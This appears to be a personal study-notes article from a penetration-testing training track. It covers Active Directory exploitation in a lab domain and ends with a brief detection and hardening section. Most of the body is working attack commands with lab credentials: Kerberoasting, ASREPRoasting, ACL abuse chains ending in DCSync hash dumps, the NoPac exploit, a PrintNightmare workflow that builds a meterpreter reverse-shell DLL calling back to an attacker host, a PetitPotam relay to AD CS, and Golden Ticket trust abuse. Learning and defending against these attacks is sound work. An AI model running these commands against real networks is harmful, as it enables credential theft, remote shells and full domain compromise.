Introduction

Active Directory exploitation is the phase where raw enumeration data becomes actual control over users, hosts, and eventually the domain itself. By this point, the tester is no longer just collecting names, groups, and services, but turning those relationships into passwords, tickets, shells, replication rights, and privileged access. The important shift is strategic: instead of asking “what exists,” the question becomes “which path gives the highest-value access with the least effort and the lowest operational cost.”

What makes AD exploitation so powerful is that many attack paths do not start from Domain Admin at all. A low-privileged domain user may be enough for Kerberoasting, an overlooked ACL may allow a password reset chain, a single SQL admin edge may become SYSTEM, and a child-domain compromise may become a forest compromise if trusts are weak. The biggest mistake when studying this topic is to treat each technique as isolated, because in real environments these attacks work best when chained together.

The most useful exploitation themes from these notes are:

  • Ticket-based attacks such as Kerberoasting and ASREPRoasting.
  • Object control abuse through ACLs, group nesting, and DCSync rights.
  • Remote access via RDP, WinRM, and MSSQL administrative paths.
  • Recent domain-impacting bugs such as NoPac, PrintNightmare, and PetitPotam.
  • Misconfigurations in SYSVOL, GPP, description fields, and weak trust boundaries.

Kerberoasting and ASREPRoasting as Credential Expansion Paths

Kerberoasting remains one of the most reliable ways to turn a low-privileged domain foothold into a better credential. The attack targets accounts with Service Principal Names, because Kerberos service tickets for those accounts are encrypted with the service account’s secret. That means any authenticated user who can request the ticket may be able to crack it offline, and if the password is weak, the result can be local admin, SQL admin, or even Domain Admin depending on how the service account is used.

The attack is attractive because it does not need code execution on the target service and it does not require direct administrative privileges. All it needs is a domain context that can request TGS tickets and enough patience to crack them offline. In practice, the best targets are usually old service accounts, accounts with admincount=1, or accounts tied to valuable services such as SQL Server, backup software, or scheduled automation.

# Linux Kerberoasting with Impacket
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

# Crack the ticket offline
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt

# Validate the recovered password
sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!

On Windows, the same attack can be done manually with setspn.exe, PowerShell, and Mimikatz, or much more cleanly with PowerView and Rubeus. Rubeus is especially useful because it can collect statistics, target specific users, filter LDAP results, and format hashes directly for Hashcat. It also exposes an important operational detail: many environments that appear to prefer AES can still be coerced into issuing roastable RC4 tickets under some conditions, which can reduce cracking time dramatically.

# Enumerate SPN users
Get-DomainUser * -SPN | select samaccountname

# Target one account with PowerView
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

# Roast with Rubeus
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
.\Rubeus.exe kerberoast /user:testspn /nowrap

ASREPRoasting is the natural companion to Kerberoasting because it targets accounts that do not require Kerberos preauthentication. Unlike Kerberoasting, it does not need an SPN, and in some cases it does not even need valid credentials if the username is known. When that flag is enabled, the domain controller will return material encrypted with the user’s secret, which can again be cracked offline with Hashcat.

# Find preauth-disabled users
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol

# Request AS-REP in Hashcat format
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
# Linux alternative
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt

Together, these two attacks are effective because they turn normal Kerberos behavior into offline cracking opportunities. They also scale well: one cracked service account may give SQL admin, one cracked admin-style account may expose reusable passwords, and one preauth-disabled user may become the foothold that unlocks the rest of the domain. That is why they should be treated as expansion paths, not just as isolated credential attacks.


ACL Abuse from Small Rights to Full Domain Replication

ACL abuse is one of the clearest examples of how a seemingly harmless permission can become full domain compromise when chained correctly. The danger is not only in rights like GenericAll, but also in narrower rights such as ForceChangePassword, GenericWrite, or group management over a nested help desk group that eventually leads to a user with replication privileges. In other words, the attacker often does not need direct control over the domain object at the beginning; they only need one controllable link in a chain.

PowerView makes this much easier to reason about because it can resolve GUIDs and show rights in human-readable form. Without that step, raw ACE data is too noisy to use quickly in an engagement. BloodHound then turns the same rights into a visual path, which is usually the fastest way to recognize that one user can reset another, that second user can modify a group, and that group inherits control over an account that can DCSync.

# Find interesting ACLs
Find-InterestingDomainAcl

# Resolve rights for a specific user
$sid = Convert-NameToSid wley
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}

# Build a user list for targeted ACL review
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

In the chain shown by the notes, control over wley leads to ForceChangePassword over damundsen, then to GenericWrite over the Help Desk Level 1 group, then through nested membership into Information Technology, and finally to GenericAll over adunn. At that point, the tester can either reset a password, add group membership, or even create a fake SPN on the target account and perform a targeted Kerberoast without changing the real password. This is a very realistic sequence because each step looks minor until the path is considered end to end.

# Authenticate as the user who has ForceChangePassword
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

# Authenticate as damundsen and add to the help desk group
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

# Add a fake SPN to the next target for a targeted Kerberoast
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user:adunn /nowrap

DCSync is the endgame of many ACL chains because it gives direct access to the domain’s credential replication mechanism. Any account with the right replication permissions on the domain object can impersonate a domain controller for replication purposes and retrieve NTLM hashes, Kerberos keys, and in some cases even reversible-encryption cleartext passwords. At that point, exploitation stops being “lateral movement” and becomes effective domain ownership.

# Confirm replication rights
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ? {$_.SecurityIdentifier -match $sid}
# DCSync from Linux
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5

Privileged Access over RDP, WinRM, and SQL Server

Not every useful foothold comes from local administrator rights. In many domains, a user may have remote desktop access to one host, WinRM access to another, and SQL admin rights to a third. These are often treated as “secondary” privileges, but in practice they are perfect exploitation pivots because they provide code execution or interactive access without needing full admin everywhere.

RDP is valuable when a user is allowed into Remote Desktop Users even without being a full local administrator. A GUI foothold can be enough to collect files, search browser data, run additional tooling, or trigger local privilege escalation. WinRM is even cleaner from an operator perspective because it gives scriptable shell access, works well with PowerShell, and integrates naturally with both Windows-native tooling and Linux clients such as Evil-WinRM.

# Check RDP and WinRM-related local groups
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

# WinRM from Windows
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
# WinRM from Linux
evil-winrm -i 10.129.201.234 -u forend

SQL Server access is especially interesting because database administration rights can quickly become OS-level execution. BloodHound models this with the SQLAdmin edge, and once a user is known to have that right, tools like PowerUpSQL or Impacket’s mssqlclient.py can turn database access into host access. Enabling xp_cmdshell and checking privileges such as SeImpersonatePrivilege can then open a path to SYSTEM via common potato or PrintSpoofer-style local escalation.

# Find SQL instances from Windows
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
# SQL admin from Linux
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
# Then inside SQL:
# enable_xp_cmdshell
# xp_cmdshell whoami /priv

The practical lesson is that “execution rights” should be treated almost like credentials. A user who can RDP, PSRemote, or act as SQL admin may not own the box yet, but they already have a route to interactive control. In exploitation planning, these edges are often the most efficient way to convert one compromised identity into a stronger foothold.


Kerberos Double Hop and Practical Workarounds

The Kerberos double hop problem becomes visible as soon as a tester lands on a remote WinRM shell and then tries to query another resource such as LDAP, a file share, or a domain controller. The user has enough rights in theory, but the second authentication fails because the TGT needed for the next hop is not available to the remote service. This confuses many operators at first because it looks like a permission problem when it is really a ticket forwarding problem.

The simplest workaround is to create a PSCredential object and pass credentials explicitly with the command that needs the second hop. That is not always elegant, but it is reliable and usually enough to make PowerView and similar tools work from a WinRM session. A second workaround is to register a custom PSSession configuration that runs as the target user, restart WinRM, and reconnect using that configuration so the needed tickets are present.

# Build a PSCredential object inside a WinRM session
$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)

# Query domain resources successfully with explicit credentials
get-domainuser -spn -credential $Cred | select samaccountname
# Alternate fix using a custom session configuration
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
Restart-Service WinRM
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess

This matters because remote exploitation in AD rarely stops at one host. If a user has WinRM on a development server and you want to query the domain controller from there, understanding double hop saves time and avoids false conclusions. It also explains why RDP often feels easier in practice: the session caches what is needed, while WinRM is stricter unless the workflow is adjusted.


Modern AD Exploits and Relay-Based Domain Takeover

Modern AD exploitation often includes recent or recently weaponized bugs that compress the escalation timeline dramatically. NoPac is the best example from these notes, because it chains CVE-2021-42278 and CVE-2021-42287 to move from a standard domain user to domain-level access by abusing machine account creation, sAMAccountName spoofing, and Kerberos ticket confusion. When it works, it is one of the fastest routes from ordinary user to SYSTEM shell on a domain controller or direct DCSync.

# Check and exploit NoPac
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

PrintNightmare and PetitPotam represent another important category: relay and coercion-based domain takeover. PrintNightmare abuses the Print Spooler to gain code execution or escalation, while PetitPotam coerces a domain controller to authenticate outward so the tester can relay that authentication to AD CS and obtain a certificate. Once a DC certificate or DC TGT is available, DCSync becomes a short follow-on step rather than a separate campaign.

# PrintNightmare workflow
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
# PetitPotam to AD CS relay
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py 172.16.5.225 172.16.5.5
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <BASE64_CERT> dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

The common theme in these attacks is that they turn protocol trust into identity theft. Instead of cracking a password or waiting for a weak ACL, the tester abuses service behavior so the domain controller authenticates or is represented as something it should not be. In environments with weak patching or exposed AD CS, that can mean total domain compromise with much less effort than traditional multi-step escalation.


Common Misconfigurations That Still Lead to Compromise

Not every AD exploit requires a CVE or a clever Kerberos trick. Some of the easiest wins still come from configuration debt: passwords in description fields, credentials in SYSVOL scripts, cpassword values in Group Policy Preferences, service accounts with PASSWD_NOTREQD, or DNS records that reveal important but otherwise opaque hosts. These are not glamorous findings, but they frequently shorten an assessment more than advanced exploitation does.

The value of these findings is that they convert directory visibility into immediate reuse. A password in a VBScript under SYSVOL may work against local admin accounts across a subnet. A readable GPP XML may reveal a reusable admin password. A Description field containing a service password can make Kerberoasting unnecessary altogether, and DNS enumeration can explain what an otherwise meaningless hostname actually does in the environment.

# Passwords in description fields
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# PASSWD_NOTREQD accounts
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

# SYSVOL script review
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
cat \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts\reset_local_admin_pass.vbs
# GPP and DNS-related abuse from Linux
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r

GPO abuse belongs in the same category because it is often a “boring” misconfiguration with domain-scale impact. If a broad principal such as Domain Users has WriteDacl, WriteProperty, or similar rights over a GPO, the tester may be able to push scheduled tasks, local admin membership, or dangerous user rights to all computers within the linked OU. In many environments, this is a faster route to widespread control than attacking hosts one by one.


Trust Abuse Across Domains and Forests

Trust relationships matter because they define where identity from one domain is accepted in another. Parent-child trusts, external trusts, and forest trusts can all create exploitation opportunities when SID filtering is weak, when privileged users span multiple domains, or when service accounts in one domain can be roasted from another. The important operational point is that a compromise in one domain should never be assumed to stay contained there until the trust design has been reviewed carefully.

In a parent-child scenario inside the same forest, SID history abuse can be devastating. Once the child domain is compromised, the attacker can recover the child domain krbtgt hash, build a Golden Ticket, and add the SID of the parent domain’s Enterprise Admins group through ExtraSids. Because SID filtering protections are not applied the same way inside the forest, the forged ticket can grant effective administrative access in the parent domain even though the original foothold started in the child.

# From Windows after child-domain compromise
Get-DomainSID
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
# Linux version of the same trust abuse
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
export KRB5CCNAME=hacker.ccache
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Forest trusts introduce other useful angles. Kerberoasting across the trust may expose a service account in the other forest, foreign group membership may grant an administrator from Domain A access in Domain B, and BloodHound can often reveal those cross-forest relationships more clearly than manual review. That makes trust exploitation less about one magic technique and more about combining enumeration, ticket attacks, and privilege reuse across the trust boundary.

# Trust-aware roasting and foreign membership from Windows
Get-ADTrust -Filter *
Get-DomainTrust
Get-DomainTrustMapping
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
# Linux trust-aware roasting and BloodHound collection
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley -request
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2

Detection and Hardening Priorities

The defensive lesson across all these techniques is that AD compromise usually comes from relationships, not isolated mistakes. Weak service passwords make Kerberoasting practical, dangerous ACEs make DCSync reachable from ordinary users, permissive GPO rights create domain-wide code execution, and poorly controlled trusts let one domain collapse into another. Defenders should therefore prioritize relationship auditing as much as endpoint hardening.

High-value countermeasures include stronger service account passwords, AES-only Kerberos where possible, removal of unnecessary SPNs, regular review of PreauthNotRequired accounts, aggressive auditing of dangerous ACLs, and close monitoring of group membership changes in operationally sensitive groups. AD CS should be reviewed carefully, print spooler exposure should be minimized on critical systems, and trust boundaries should be validated with SID filtering and least privilege in mind.

For detection, the most important signals are often changes rather than raw command execution. Event ID 5136 can indicate ACL or object modification, Kerberos request spikes can indicate roasting or spraying, new SPNs on unusual users can signal targeted abuse, and replication-style activity from non-DC principals is a major red flag for DCSync. In mature environments, the strongest posture comes from combining graph-style auditing, strict privilege hygiene, patch discipline, and continuous review of domain trust relationships.


Reference

This article is based on my personal study notes from the Information Security Foundations track.

Full repository: https://github.com/lameiro0x/pentesting-path-htb